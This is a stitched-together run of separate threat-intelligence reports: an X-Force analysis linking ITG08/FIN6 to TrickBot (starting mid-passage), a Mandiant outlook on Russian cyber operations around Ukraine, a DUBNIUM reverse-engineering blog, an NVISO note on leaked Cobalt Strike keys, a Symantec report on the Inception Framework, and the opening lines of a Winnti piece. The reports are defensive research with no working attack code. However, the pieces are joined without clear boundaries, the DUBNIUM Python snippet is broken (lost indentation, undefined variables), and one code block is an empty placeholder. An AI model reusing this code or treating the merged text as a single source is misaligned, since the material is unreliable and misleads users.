Bringing this cybercrime seller back into the picture, SentinelOne researchers reported observing a threat actor using PowerTrick and Anchor to download two samples developed and sold by the same seller: a TerraLoader that installs the More_eggs backdoor and a TerraLoader that deploys a signed Metasploit shellcode loader. The evidence provided below links these two samples to ITG08.
### More_eggs Sample Analysis
X-Force IRIS is almost certain the TerraLoader and More_eggs samples were purchased by ITG08 based on similarities with two other More_eggs samples. We encountered the first sample in 2019 during an investigation of attacks we attributed to ITG08. We found the second sample, a TerraLoader dropping a More_eggs backdoor, in a public repository that also showed ties to the ITG08 group.
| TerraLoader | Downloaded by PowerTrick | ITG08 use in early 2019 (X-Force IRIS) | Found in VirusTotal |
|-------------|--------------------------|----------------------------------------|---------------------|
| More_eggs sample | drive.staticcontent[.]kz | metric.onlinefonts[.]kz | host.moresecurity[.]kz |
| Domain registration date | 2/28/2019 | 2/28/2019 | 2/28/2019 |
| Domain registration email | [email protected] | [email protected] | [email protected] |
| More_eggs RKey | ZkY3egXBulkogSbGEHqdA | ZkY3egXBulkogSbGEHqdA | wearenotcobaltthanks |
| TerraLoader compile date | 3/18/2019 | n/a | 3/4/2019 |
All three C&C domains were created at the same time using the same email registration address. Two of the samples — the one downloaded by Anchor and the one attributed to ITG08 — use the same RKey, which is used in part to encrypt communications with the C&C host. Two of the TerraLoaders were compiled within two weeks of each other. The remaining TerraLoader could not be recovered.
The RKey in the final sample, “wearenotcobaltthanks,” is a reference to the Cobalt Gang group, which previously had used the More_eggs backdoor. X-Force IRIS has found a similar message in other More_eggs samples attributed to ITG08: a variable called “Researchers” with the content, “We are not cobalt gang, stop associating us with such skids!”
### Metasploit Shellcode Loader Sample Analysis
SentinelOne previously observed Anchor downloading a signed TerraLoader. That first step was followed by installing an Apache Bench executable hollowed out with a Metasploit loader shellcode that received an RC4 encrypted payload.
X-Force IRIS lacks the sample hash or code-signing certificate to attribute this malware definitively to ITG08, but it is very similar to other samples we did attribute to the ITG08 group. In 2019, X-Force IRIS observed ITG08 employ a signed Metasploit shellcode loader masquerading as the Apache Bench application and containing a Comodo code-signing certificate issued to “MAHTEM LTD.” The shellcode was loaded into memory and designed to receive an RC4-encrypted buffer. This sample was used during an intrusion that featured the use of More_eggs.
X-Force IRIS identified a signed TerraLoader in a public repository that also decrypts a shellcode loader masquerading as Apache Bench. The sample used a code-signing certificate issued to “D. Bacte Ltd.,” which we found in other samples that we attributed to ITG08 in some of our previous investigations.
## More Evidence of ITG08’s (FIN6) Fingerprints on TrickBot Malware
Further clues connect ITG08 to TrickBot and its operators’ other malware. Generally speaking, the tactics used to deploy More_eggs in victim environments, as well as other threat actor tactics, techniques, and procedures (TTPs) used during these Anchor campaigns, are unusually consistent with those used by ITG08.
### More_eggs & TerraLoader Deployment
According to SentinelOne, the threat actor used PowerShell to download and execute a TerraLoader that installed More_eggs. X-Force IRIS has observed ITG08 employ the same tactic whereby it used PowerShell and Windows Management Instrumentation (WMI) to download and execute TerraLoader, then install More_eggs on remote hosts. X-Force IRIS has not observed any other actors who use More_eggs employ this tactic. Those who do typically install More_eggs only during the initial infection, after which they download additional malware or tools to proceed with their intrusion phase.
### TTPs Consistent With ITG08
In a blog about the subject, researchers from Cybereason noted that many of the threat actor TTPs they observed while using the Anchor framework were consistent with FIN6 activity, including the targeting of POS systems and the use of tools such as Metasploit, Cobalt Strike, and AdFind.
X-Force IRIS has also encountered these TTPs in attacks that we attributed to ITG08. While these TTPs alone are insufficient to attribute the activity to ITG08, they are nevertheless fully consistent with ITG08 activity.
On a final note, X-Force IRIS is unaware of other threat actors deploying the combination of TerraLoader, More_eggs, and Metasploit shellcode loaders in the manner described above. This activity, combined with the additional TTPs attributed to ITG08, such as the use of Metasploit, Cobalt Strike, and AdFind while targeting POS systems, leads us to conclude with confidence that ITG08 is one of the threat actors using TrickBot’s PowerTrick and the Anchor malware framework.
## ITG08 Connecting to Evolve
ITG08’s partnership with the TrickBot gang to use its Anchor malware framework is the latest example of a cybercriminal group that has repeatedly demonstrated its ability to adopt new malware and adapt to changing circumstances that threaten the group’s ability to obtain illicit proceeds. In this respect, ITG08 behaves much like a commercial enterprise: adopting new technology, building strategic partnerships, and grappling with changing markets by moving into new “lines of business” while leveraging their core strengths and outsourcing those of other groups.
ITG08’s partnership with the TrickBot gang not only provides the group with new malware and potential access to enterprises infected with the TrickBot Trojan; it also reveals additional evidence of the group’s strategy to partner with other threat actors and malware developers. These varied relationships with elite cybercriminal actors and those who sell them tools, access, and software allow ITG08 to continue to rely on its strengths in post-exploitation tactics, such as lateral movement, privilege escalation, and data exfiltration, and outsource other attack vectors as needed.
The partnership with TrickBot is not the only evolution for ITG08. In recent years, this group has evolved to employ additional means to obtain illicit proceeds, including the targeting of e-commerce environments by injecting malicious code into online checkout pages of compromised websites in a modus operandi known as “Magecart.”
ITG08 also maintains established relationships with underground malware suppliers, such as the one responsible for developing and selling the TerraLoader loader and More_eggs JScript backdoor. ITG08 continues to benefit from its relationship with the developer behind More_eggs, whose malware features very low antivirus detection rates and makes use of other methods to evade detection, such as bypassing application whitelisting.
ITG08 has also been targeting e-commerce environments with a technique known as online skimming or grouped under what’s known as Magecart activity. In fact, ITG08 is the same group as Magecart Group 6. This relatively new activity almost certainly is a response to the adoption of EMV chips and point-to-point encryption.
ITG08 may also be part of attacks that deploy ransomware, such as Ryuk, LockerGoga, and MegaCortex, again in likely partnership with banking Trojan botnets, which could be a further attempt to move into new “markets” that do not rely on the need to monetize credit card data. Financially motivated, adaptable, sophisticated, and persistent, ITG08 is likely to remain one of the most potent cybercriminal groups in this new decade. |
# Anticipating Cyber Threats as the Ukraine Crisis Escalates
**John Hultquist**
**Jan 20, 2022**
**6 mins read**
The crisis in Ukraine has already proven to be a catalyst for additional aggressive cyber activity that will likely increase as the situation deteriorates. At Mandiant, we have been anticipating this activity, and we are concerned that, unlike the recent defacements and destructive attacks, future activity will not be restricted to Ukrainian targets or the public sector.
## The Scope of Activity
Russia and its allies will conduct cyber espionage, information operations, and disruptive cyber attacks during this crisis. Though cyber espionage is already a regular facet of global activity, as the situation deteriorates, we are likely to see more aggressive information operations and disruptive cyber attacks within and outside of Ukraine.
Russian cyber espionage actors such as UNC2452, Turla, and APT28, which are tied to the Russian intelligence services, have almost certainly already received tasking to provide intelligence around the crisis. These actors already frequently target government, military, diplomatic, and related targets worldwide for intelligence that benefits Russia’s foreign policy decision making.
Russia leverages a multitude of additional cyber espionage operators within the region, such as TEMP.Armageddon (UNC530), actors who operate out of occupied Crimea and Eastern Ukraine.
Information operations, such as those involving the creation and dissemination of fabricated content and social media manipulation to promote desired narratives, are already happening within the context of the crisis. We continue to see pro-Russia actors, and those promoting narratives aligned with Russian interests, regularly conduct information operations against NATO allies and partners within Eastern Europe.
Notably, a Ukrainian official has attributed recent defacements of Ukrainian government websites to UNC1151 (an actor we have linked to Belarus), though we cannot confirm this attribution. We have previously observed similar activity conducted by GRU-related actors Sandworm Team and APT28.
Disruptive and destructive cyber attacks are relatively infrequent when compared to cyber espionage and other forms of information operations. Sandworm Team is Russia’s preeminent cyber attack capability, having conducted complex attacks which caused electrical outages in Ukraine as well as the most expensive destructive attack in history: NotPetya. Another actor, who Mandiant calls TEMP.Isotope (UNC806/UNC2486 aka Berserk Bear, Dragonfly), has a long history of compromising critical infrastructure in the United States and Europe. While we have never seen this actor attempt to disrupt that infrastructure, we believe these breaches are preparation for a contingency when Russia is prepared to cause serious disruptions.
## Information Operations
Information operations are a regular feature of Russian and Belarusian cyber activity. Such actors leverage a variety of tactics to achieve their aims, including but not limited to the use of social media campaigns involving coordinated and inauthentic activity, as well as the compromise of entities in hack-and-leak operations or for use in disseminating fabricated content to promote desired narratives.
Broadly speaking, information operations actors have sought to advance Russian interests by exploiting existing divisions within and between adversary countries, undermining confidence in democratic institutions, and creating distrust within the NATO alliance, the European Union, and the West.
Fabricated content, such as forged documents, doctored photographs, and fake petitions, is regularly used in operations we have attributed to influence campaigns, including Ghostwriter and Secondary Infektion.
Data obtained through intrusion activity has been leaked to great effect, causing scandals with lasting consequences. We have observed pro-Russia actors alter or falsify stolen data prior to leaking it, occasionally alongside unaltered data, to support a given operation’s intended narrative.
Information operations actors have used third parties, such as journalists and "hacktivists,” to legitimize information and narratives and launder their content. While many such parties collaborated—wittingly or unwittingly—with those actors, we have also observed campaigns, such as Ghostwriter, supported by the cyber espionage actor UNC1151, compromise and leverage legitimate information sources. This includes news or municipal government sites or social media accounts to disseminate material.
Russian information operations campaigns, such as those conducted by the Internet Research Agency, have also created and leveraged inauthentic personas and media outlets to publish and promote content disseminating false narratives that serve to achieve their ends.
## Cyber Attacks
Disruptive and destructive cyber attacks take many forms, from distributed denial-of-service attacks to complex attacks on critical infrastructure. Like its peers, Russia leverages this capability in times of crisis.
Successful disruptions are often a matter of scale. The most effective disruptions have broad effects. To achieve this, operators can focus on disrupting critical targets with downstream customers and dependencies (such as the Ukrainian electric grid), or directly disrupt a multitude of targets (as in the case of NotPetya).
Attacks against critical infrastructure and operational technology networks may take more hands-on work and lead time than other methods. Actors such as TEMP.Isotope appear to take a proactive stance towards compromising these targets. As such, targets of this nature may have been compromised well in advance of this crisis for the purposes of a contingency such as this. Defenders of these networks should consider hunting for actors such as TEMP.Isotope.
Alternatively, destructive tools and other simpler methods could be leveraged against a large cohort of targets simultaneously. Typically, Russian actors have used strategic web compromise and the software supply chain to gain access at this scale. Mass propagation through these methods may be early warning of impending cyber attack.
The perpetrators of attacks often fabricate evidence of culpability or make false statements of responsibility designed to suggest that some other party is responsible for the incident. They plant evidence in code and make public statements that suggest incidents were carried out by previously unknown nationalist elements, criminals, or government hackers. On multiple occasions, wipers have masqueraded as ransomware, as in the case of the most recent incident in Ukraine. Though these “false flags” are often paper-thin, they complicate efforts to convince the public of attribution and make these operations more deniable.
Ransomware is a form of cyber attack that is being used by state-affiliated actors as part of “lock and leak” campaigns that have dubious financial motivations. Because of its mature criminal underground, Russia has unmatched access to this capability. The security services have previously leveraged criminal operations for national security purposes and could bring them to bear in any number of ways to carry out their mission.
Though destructive attacks observed thus far in this crisis appear to have focused on government systems, civilian systems are usually targeted to greatest effect. These actors have had particular success targeting utilities, but also by targeting transportation and logistics, finance, and media.
Cyber attacks are most often leveraged as a form of information operation, meaning they are meant to manipulate perception rather than have lasting disruptive effects. Defenders often overestimate the technical capability necessary for these actors to achieve their goals and underestimate the value of technically simple operations.
## Outlook
Cyber capabilities are a means for states to compete for political, economic, and military advantage without the violence and irreversible damage that is likely to escalate to open conflict. While information operations and cyber attacks such as the 2016 US election operations and the NotPetya incident can have serious political and economic consequences, Russia may favor them because they can reasonably expect that these operations will not lead to a major escalation in conflict.
Mandiant recommends that defenders take proactive steps to harden their networks against and has provided a guide to this process, Proactive Preparation and Hardening to Protect Against Destructive Attacks, for free to the public. Free access to Mandiant Advantage is also available for qualifying organizations. With access to this platform, users can obtain additional detailed information from Mandiant’s intelligence operations that have not yet been publicly released. |
# Reverse-engineering DUBNIUM
DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features. We located multiple variants of multiple-stage droppers and payloads in the last few months, and although they are not really packed or obfuscated in a conventional way, they use their own methods and tactics of obfuscation and distraction.
In this blog, we will focus on analysis of the first-stage payload of the malware. As the code is very complicated and twisted in many ways, it is a complex task to reverse-engineer the malware. The complexity of the malware includes linking with unrelated code statically (so that their logic can hide in a big, benign code dump) and excessive use of an in-house encoding scheme. Their bootstrap logic is also hidden in plain sight, such that it might be easy to miss.
Every sub-routine from the malicious code has a “memory cleaner routine” when the logic ends. The memory snapshot of the process will not disclose many more details than the static binary itself. The malware is also very sneaky and sensitive to dynamic analysis. When it detects the existence of analysis toolsets, the executable file bails out from further execution. Even binary instrumentation tools like PIN or DynamoRio prevent the malware from running. This effectively defeats many automation systems that rely on at least one of the toolsets they check to avoid. Avoiding these toolsets during analysis makes the overall investigation even more complex.
With this blog series, we want to discuss some of the simple techniques and tactics we’ve used to break down the features of DUBNIUM. We acquired multiple versions of DUBNIUM droppers through our daily operations. They are evolving slowly, but basically their features have not changed over the last few months. In this blog, we’ll be using sample SHA1: dc3ab3f6af87405d889b6af2557c835d7b7ed588 in our examples and analysis.
## Hiding in plain sight
The malware used in a DUBNIUM attack is committed to disguising itself as a Secure Shell (SSH) tool. In this instance, it is attempting to look like a certificate generation tool. The file descriptions and other properties of the malware look convincingly legitimate at first glance. When it is run, the program actually dumps out dummy certificate files into the file system and, again, this can be very convincing to an analyst who is initially researching the file.
The binary is indeed statically linked with the OpenSSL library, such that it really does look like an SSH tool. The problem with reverse engineering this sample starts from the fact that it has more than 2,000 functions and most of them are statically linked to OpenSSL code without symbols. It can be extremely time-consuming just going through the dump of functions that have no meaning at all in the code – and this is only one of the more simplistic tactics this malware is using.
We can solve this problem using binary similarity calculation. This technique has been around for years for various purposes, and it can be used to detect code that steals copyrighted code from other software. The technique can be used to find patched code snippets in the software and to find code that was vulnerable for attack. In this instance, we can use the same technique to clean up unnecessary code snippets from our advanced persistent threat (APT) analysis and make a reverse engineer’s life easier.
Many different algorithms exist for binary similarity calculation, but we are going to use one of the simplest approaches here. The algorithm will collect the op-code strings of each instruction in the function first. It will then concatenate the whole string and will use a hash algorithm to get the hash out of it. We used the SHA1 hash in this case.
Sometimes, the immediate constant operand is a valuable piece of information that can be used to distinguish similar but different functions and it also includes the value in the hash string. It is using our own utility function `RetrieveFunctionInstructions` which returns a list of op-code and operand values from a designated function.
```python
def CalculateFunctionHash(self, func_ea):
hash_string = ''
for (op, operand) in self.RetrieveFunctionInstructions(func_ea):
hash_string += op
if len(drefs) == 0:
for operand in operands:
if operand.Type == idaapi.o_imm:
hash_string += ('%x' % operand.Value)
m = hashlib.sha1()
m.update(hash_string)
return m.hexdigest()
```
With these hash values calculated for the DUBNIUM binary, we can compare these values with the hash values from the original OpenSSL library. We identified from the compiler-generated meta-data that the version the sample is linked to is `openssl-1.0.1l-i386-win`. After gathering the same hash from the OpenSSL library, we could import symbols for the matched functions. In this way, we removed most of the functions from our analysis scope.
## Persistently encoded strings
The other issue when reverse-engineering DUBNIUM binaries is that it encodes every single string that is used in the code. There is no clue on the functionality or purpose of the binary by just looking at the string’s table. We had to decode each of these strings to understand what the binary is intended to do. This may not be technically difficult, but it does require a lot of time and effort.
For example, address `0x142C11C` has an instruction that loads an encoded string which is decoded as “hook_disable_retaddr_check”. The encoded string is passed in the `ecx` register to the decoder function (`decode_string`). Note that the symbol names for the functions were made by us during the analysis. Because the `decode_string` function is excessively used and encoded gibberish strings are always passed to it, we can be confident that the function is truly a string decoder.
The `decode_string` function looks like this:
```python
# Example of decode_string function
```
There are some approaches that can be taken for decoding these files: you could port the code to C or Python and run them through encoded strings, or you could reuse the code snippet itself and pass the encoded string to the decoder function. We took the second option and reused the existing code for decoding strings, for faster analysis of the sample.
For example, we have an encoded string at address `0x013C992C`. The `decode_string` function is located at `0x01437036` in our case. The `ecx` register will point to the encoded string and `edx` is the destination buffer address for the decoded string. We just came up with the right place on the stack with enough buffer, which in this case is `esp+0x348`.
```assembly
lea edx, [esp+0x348] ; pointer to stack buffer address
mov ecx, 0x013C992C ; pointer to encoded string
call 0x01437036 ; call to decode_string
```
As the instructions above will decode the encoded string for us, we can use Windbg to run our code. First, we prepared a virtual machine environment, because we can possibly run malicious routines from the sample. As there are some possibilities that the `decode_string` function is dependent on some initialization routines called at startup, we put our first breakpoint to the location where the first instance of `decode_string` is called. In this way, we can guarantee that our own `decode_string` call will be surely called with proper setup. That address we came up with is `0x0142BFEE`.
Now we need to write the memory over with our own code. The memory location where `eip` is pointing looks like the following. Basically, we put the breakpoint on the entry of the `decode_string` and exit of the function. With the entry of the function, we save the `edx` register value to a temporary register and use it to dump out the decoded string memory location at the exit point.
Now we have a handy way to decrypt the strings we have. Just after a few IDAPython scripts that retrieve all possible encoded strings and automatically generate the assembly code that calls `decode_string`, we can come up with a new IDA listing that shows the decoded string as the comment.
## Memory cleanup
Even after encoding every single string related to malicious code, the DUBNIUM malware goes one more step to hide its internal operations. When it calls `decode_string` to decode an encoded string, it will use the local stack variable to save the decoded string. Whenever the function returns, it calls `fill_memory_with_random_bytes` function for every local variable it used, so that the stack is cleared from decoded strings. The memory cleaner function generates random bytes and fills the memory area. This can be very simple, but still can be very annoying to malware analysts because, even with a memory snapshot, we can’t acquire any meaningful strings out of it. It’s not easy to get a clue of what this binary is doing internally by just skimming through a memory snapshot.
## Various environment checks
Once we have decoded the string, further reverse engineering becomes trivial. It is no more complicated than any other malware we observe on a daily basis. The DUBNIUM binary checks for the running environment very extensively. It has a very long list of security products and other software it detects, and it appears that it detects all major antimalware and antivirus vendor process names. One other very interesting fact is the presence of process names that are associated with software mainly used in China. For example, `QQPCRTP.exe` and `QQPCTray.exe` are from a messaging software by a company based in China. Also, `ZhuDongFangYu.exe`, `360tray.exe`, and `360sd.exe` process names are used by security products that originate from China. From the software it detects, we get the impression that the malware is focusing on a specific geolocation as its target.
Aside from security programs and other programs used daily that can be used to profile its targets, the DUBNIUM malware also checks for various program analysis tools including Pin and DynamoRIO. It also checks for a virtual machine environment. If some of these are detected, it quits its execution. Overall, the malware is very cautious and deterministic in running its main code.
The following figure shows the code that checks for the existence of the Fiddler web debugger, which is very popular among malware analysts. As we wanted to use Fiddler to get a better understanding of the network activity of the malware, we manually patched the routine so it would not detect the Fiddler mutex.
## Second payload download
The DUBNIUM samples are distributed in various ways, one instance was using a zero-day exploit that targets Adobe Flash, in December 2015. We also observed the malware is distributed through spear-phishing campaigns that involve social engineering with LNK files. After downloading this payload, it would check the running environment and will only proceed with the next stage when it determines the target is a valid one for its purpose. If software and environment check passes, the first stage payload will try to download the second stage payload from the command and control (C&C) server. It will pass information such as the IP, MAC address, hostname, and Windows language ID to the server, and the server will return the encoded second stage payload.
The way the first stage payload downloads the second payload is both interesting and unique. It doesn’t access the Internet directly from the code, but it uses the system-installed `mshta.exe` binary. `Mshta.exe` is often used by malware to run VBscript for malicious purposes, but using it for downloading a general-purpose payload is not so common. This is because `mshta.exe` doesn’t support downloading URL contents directly to an arbitrary location. DUBNIUM spawns the `mshta.exe` process with the URL to download and waits for some time; after that, it opens the `mshta.exe` process and goes through open file handles to find a handle for the temporary file that is associated with the downloaded contents.
This is a very inconvenient way to download a payload from the Internet, but it is useful for hiding the originating process for network activities. Sometimes network security programs check for the process name and their digital signature to check if they have the right to access outside the network. In that case, this feature will be very handy for the malware.
As you can see, it uses process-related documented and undocumented APIs to retrieve file handles from the `mshta.exe` process, resolves their names, and uses filename heuristics to check if it is a response file or not. The cache filename will be retrieved and opened to retrieve the payload from the C&C server.
## Conclusion
Overall, the functionality of the DUBNIUM first stage payload is not so advanced in its functionality. It is a very simple downloader for the second stage payload. However, the way it operates is very strategic:
- It hides in plain sight.
- It is very careful in initiating the next stage of the attack.
- It checks many different security products and user-installed programs that are bound to specific geolocations and cultures.
- It encodes every string that can be useful for quick analysis.
- It encodes outbound web traffic.
- It doesn’t use high-class encryption – but it does use an excessive amount of in-house string scrambling algorithms.
- It checks for many popular virtual environments and automatic analysis systems that are used for malware analysis, including VMware, Virtualbox, and Cuckoo Sandbox.
- It checks for popular dynamic analysis tools like PIN tool, DynamoRIO, and other emulators.
In conclusion, this is the first stage payload with more of a reconnaissance purpose and it will trigger the next stage attack only when it decides the environment is safe enough for attack.
## Appendix – Indicators of compromise
We discovered the following SHA1s in relation to DUBNIUM:
- 35847c56e3068a98cff85088005ba1a611b6261f
- 09b022ef88b825041b67da9c9a2588e962817f6d
- 7f9ecfc95462b5e01e233b64dcedbcf944e97fca
- cad21e4ae48f2f1ba91faa9f875816f83737bcaf
- ebccb1e12c88d838db15957366cee93c079b5a8e
- aee8d6f39e4286506cee0c849ede01d6f42110cc
- b42ca359fe942456de14283fd2e199113c8789e6
- 0ac65c60ad6f23b2b2f208e5ab8be0372371e4b3
- 1949a9753df57eec586aeb6b4763f92c0ca6a895
- 259f0d98e96602223d7694852137d6312af78967
- 4627cff4cd90dc47df5c4d53480101bdc1d46720
- 561db51eba971ab4afe0a811361e7a678b8f8129
- 6e74da35695e7838456f3f719d6eb283d4198735
- 8ff7f64356f7577623bf424f601c7fa0f720e5fb
- a3bcaecf62d9bc92e48b703750b78816bc38dbe8
- c9cd559ed73a0b066b48090243436103eb52cc45
- dc3ab3f6af87405d889b6af2557c835d7b7ed588
- df793d097017b90bc9d7da9a85f929422004f6b6
- 6ccba071425ba9ed69d5a79bb53ad27541577cb9
- Jeong Wook Oh
MMPC |
# Cobalt Strike: Using Known Private Keys To Decrypt Traffic – Part 1
We found 6 private keys for rogue Cobalt Strike software, enabling C2 network traffic decryption.
The communication between a Cobalt Strike beacon (client) and a Cobalt Strike team server (C2) is encrypted with AES (even when it takes place over HTTPS). The AES key is generated by the beacon and communicated to the C2 using an encrypted metadata blob (a cookie, by default). RSA encryption is used to encrypt this metadata: the beacon has the public key of the C2, and the C2 has the private key.
Public and private keys are stored in the file `.cobaltstrike.beacon_keys`. These keys are generated when the Cobalt Strike team server software is used for the first time. During our fingerprinting of Internet-facing Cobalt Strike servers, we found public keys that are used by many different servers. This implies that they use the same private key, thus that their `.cobaltstrike.beacon_keys` file is shared.
One possible explanation we verified: are there cracked versions of Cobalt Strike, used by malicious actors, that include a `.cobaltstrike.beacon_keys`? This file is not part of a legitimate Cobalt Strike package, as it is generated at first-time use.
Searching through VirusTotal, we found 10 cracked Cobalt Strike packages: ZIP files containing a file named `.cobaltstrike.beacon_keys`. Out of these 10 packages, we extracted 6 unique RSA key pairs. 2 of these pairs are prevalent on the Internet: 25% of the Cobalt Strike servers we fingerprinted (1500+) use one of these 2 key pairs.
This key information is now included in tool `1768.py`, a tool developed by Didier Stevens to extract configurations of Cobalt Strike beacons. Whenever a public key is extracted with a known private key, the tool highlights this. At minimum, this information is further confirmation that the sample came from a rogue Cobalt Strike server (and not a red team server). Using option verbose, the private key is also displayed. This can then be used to decrypt the metadata and the C2 traffic (more on this later).
In upcoming blog posts, we will show in detail how to use these private keys to decrypt metadata and decrypt C2 traffic.
## About the authors
Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn. You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications. |
# Inception Framework: Alive and Well, and Hiding Behind Proxies
The cyber espionage group known as the Inception Framework has significantly developed its operations over the past three years, rolling out stealthy new tools and cleverly leveraging the cloud and the Internet of Things (IoT) in order to make its activities harder to detect. Since 2014, Symantec has found evidence of a steady stream of attacks from the Inception Framework targeted at organizations on several continents. As time has gone by, the group has become ever more secretive, hiding behind an increasingly complex framework of proxies and cloud services.
## History of Stealthy Attacks
The Inception Framework has been active since at least May 2014 and its activities were first exposed by Blue Coat (now part of Symantec) in December 2014. Right from the start, the group stood out because of its use of an advanced, highly automated framework to support its targeted attacks. This level of sophistication is rarely seen, even in the targeted attacks sphere. The nature of Inception’s targets, from 2014 right through to today, along with the capabilities of its tools, indicate that espionage is the primary motive of this group.
In 2014, Inception was compromising targeted organizations using spear-phishing emails, which masqueraded as legitimate emails concerning international policy, upcoming conferences, and specific sectoral interests of the targeted organization. More than half of the group’s earlier targets were in the Energy or Defense sectors, but it also targeted organizations in the Consultancy/Security, Aerospace, Research, and Media sectors, in addition to embassies. Its activities ranged across the globe, with targets located in South Africa, Kenya, the United Kingdom, Malaysia, Suriname, along with several other European and Middle Eastern countries.
Word documents attached to Inception’s spear-phishing emails leveraged two Microsoft Office vulnerabilities (CVE-2014-1761 and CVE-2012-0158) to install malware on the recipient’s computer. The malware had a multi-staged structure that began with a malicious RTF document and ended with an in-memory DLL payload that communicated, via the WebDAV protocol, with a command and control (C&C) address from a legitimate cloud service provider (CloudMe.com). The name “Inception” comes from the group’s many levels of obfuscation and indirection it employed in delivering this payload.
Further layers of obfuscation emerged when Blue Coat was able to determine that the attackers were communicating with CloudMe.com through a hacked network of compromised routers, the majority of which were located in South Korea.
## Stepping Out of the Shadows Once Again
Following its exposure in late 2014, Inception fell quiet. However, this turned out to be only a brief hiatus and, by April 2015, there had been a resurgence in activity. Attacks have continued since then, right through to 2017.
In the intervening years, the Inception Framework has evolved, adding additional layers of obfuscation in a bid to avoid detection. The group is using new types of lure documents in its spear-phishing campaigns and its malware has expanded to use new types of plugins. Inception has also increased its use of the cloud and diversified the range of cloud providers it uses for C&C purposes.
The locations of Inception’s targets have shifted since 2014, but the group continues to have a global reach. Russia accounted for the largest number of attacks between 2015 and 2017, followed by Ukraine, Moldova, Belgium, Iran, and France.
## An Evolved Attack Framework
Since 2014, the Inception Framework has steadily changed its tools and techniques. In its early attacks, the group’s malware payload (with the exception of plugins) was fully contained within an exploit document emailed to the victim. In more recent activity, these spear-phishing attacks are now a two-stage process. The group will first email the target a malicious “Reconnaissance document” which, if opened, will fingerprint the target computer, gathering information on what software it is running and whether that software is up to date. Several days later, Inception will send a second spear-phishing email to the target, with another malicious document attached. This document is designed to retrieve a remote RTF file, which contains the exploit, and open it on the target’s computer.
Shortly after this RTF document is opened, the remaining stages of the Inception malware are found executing on the system. The loader DLL is responsible for decrypting and injecting the core payload DLL into memory, from an encrypted file present on disk. The core payload DLL's main function is to gather system information, execute other malware in the form of plugins, and update itself. It accesses C&C via WebDAV hosted on legitimate cloud storage providers.
The use of an initial reconnaissance document allows Inception to profile the target’s computer and potentially customize any subsequent malicious document to exploit known vulnerabilities in unpatched software on the computer. By breaking its attacks up into distinct stages, Inception also makes them harder to detect. For investigators to trace an attack, each stage will have to be uncovered and referenced to the other stages.
## Modular Malware
Inception’s malware is modular and the attackers will load plugins based on requirements for each attack. The group has used a range of plugins in recent attacks, some of which are improved versions of plugins used in 2014, while others were previously unseen.
- **File hunting plugin**: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history.
- **Detailed survey plugin**: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014.
- **Browser plugin**: Used to steal browser history, stored passwords and sessions. Works with Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.
- **File listing plugin**: Works on local or remote drives and can map additional paths when given credentials.
## Expanding Use of the Cloud
Since 2014, Inception has widened its use of cloud service providers for C&C purposes. Whereas previously it relied on one service provider (CloudMe.com), more recently it has employed at least five cloud service providers. Leveraging the cloud for C&C has a number of advantages for groups like Inception. Any C&C communications will involve encrypted traffic to a known website, meaning it is less likely to raise flags on targeted networks. Legitimate cloud services are not likely to be blacklisted. Varying the cloud service provider used adds a further degree of stealth. Once it became known Inception was using a single provider, any traffic to that provider may have attracted additional scrutiny.
Symantec has notified all cloud providers affected. Where possible, Symantec has provided details on the C&C accounts used by Inception to the affected cloud providers. The accounts in question have been deleted or disabled.
## Using IoT to Hide Behind Proxies
Inception is continuing to use chains of infected routers to act as proxies and mask communications between the attackers and the cloud service providers they use. Certain router manufacturers have UPnP listening on WAN as a default configuration. Akamai research has found that there are 765,000 devices vulnerable to this attack. These routers are hijacked by Inception and configured to forward traffic from one port to another host on the internet. Abuse of this service requires no custom malware to be injected on the routers and can be used at scale very easily. Inception strings chains of these routers together to create multiple proxies to hide behind.
Every connection builds different chains of infected routers and once the connection is complete, it cleans up after itself. In several cases, Symantec has been able to follow the entire chain of compromised routers and found it led to a virtual private server (VPS), meaning the attackers have employed an additional layer of security by routing communications through rented hosting servers.
## Mobile Devices Targeted
Inception has an ongoing interest in mobile devices and has previously developed malware to infect Android (Android.Lastacloud), iOS (IOS.Lastacloud), and BlackBerry devices (BBOS.Lastacloud). Mobile malware continues to be deployed and the group has made some modifications to its Android malware. The malware is spread via SMS messages and emails containing malicious links. Once installed, it uses user profile pages on online forums as dead drops for its C&C.
## Persistence, Stealth, and Global Reach
Even prior to its discovery in 2014, Inception went to great lengths both to avoid detection and conceal its location. Exposure hasn’t deterred the group. Instead, it has redoubled its efforts, adding more layers of obfuscation to an already complex attack framework. Its persistence, stealth, and global reach mean the group continues to pose an ongoing risk to organizations, particularly in its areas of interest, which include defense, aerospace, energy, governments, telecoms, media, and finance. Aside from a suite of advanced modular malware, the group is notable for its ability to make use of new platforms such as the cloud, IoT, and mobile to facilitate its attacks. An “early adopter”, Inception’s tactics may point the way towards how other espionage groups may modify their methods in years to come.
## Protection
Symantec has had protection for all of the Inception Framework tools since the initial emergence of the group in 2014. The following detections are in place today:
**File-based protection**
- Infostealer.Rodagose
- Trojan.Rodagose!g1
- Trojan.Rodagose!g2
- Trojan.MDropper
**Mobile**
- Android.Lastacloud
- BBOS.Lastacloud
- IOS.Lastacloud
**Network Protection Products**
- Malware Analysis Appliance detects activity associated with Inception
- Customers with Webpulse-enabled products are protected against activity associated with Inception
## About the Author
**Threat Hunter Team**
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
**Network Protection Security Labs**
Network Protection Security Labs is a group of security experts within Network Protection Products doing advanced security research to continuously improve Symantec Network Products. |
# HELO Winnti: Attack or Scan?
Since its first attack was discovered nearly a decade ago, Winnti has evolved into an advanced and sophisticated toolkit leveraged by several actors such as APT17, Axiom, Barium, and PassCV, just to name a few. All these actors have been sharing core tactics, techniques, and procedures (TTPs), leading to highly persistent implants targeting organizations from the online gaming industry to high-tech companies around the globe. It comes as no surprise that both security vendors and researchers are still scrutinizing and tracking this specific threat.
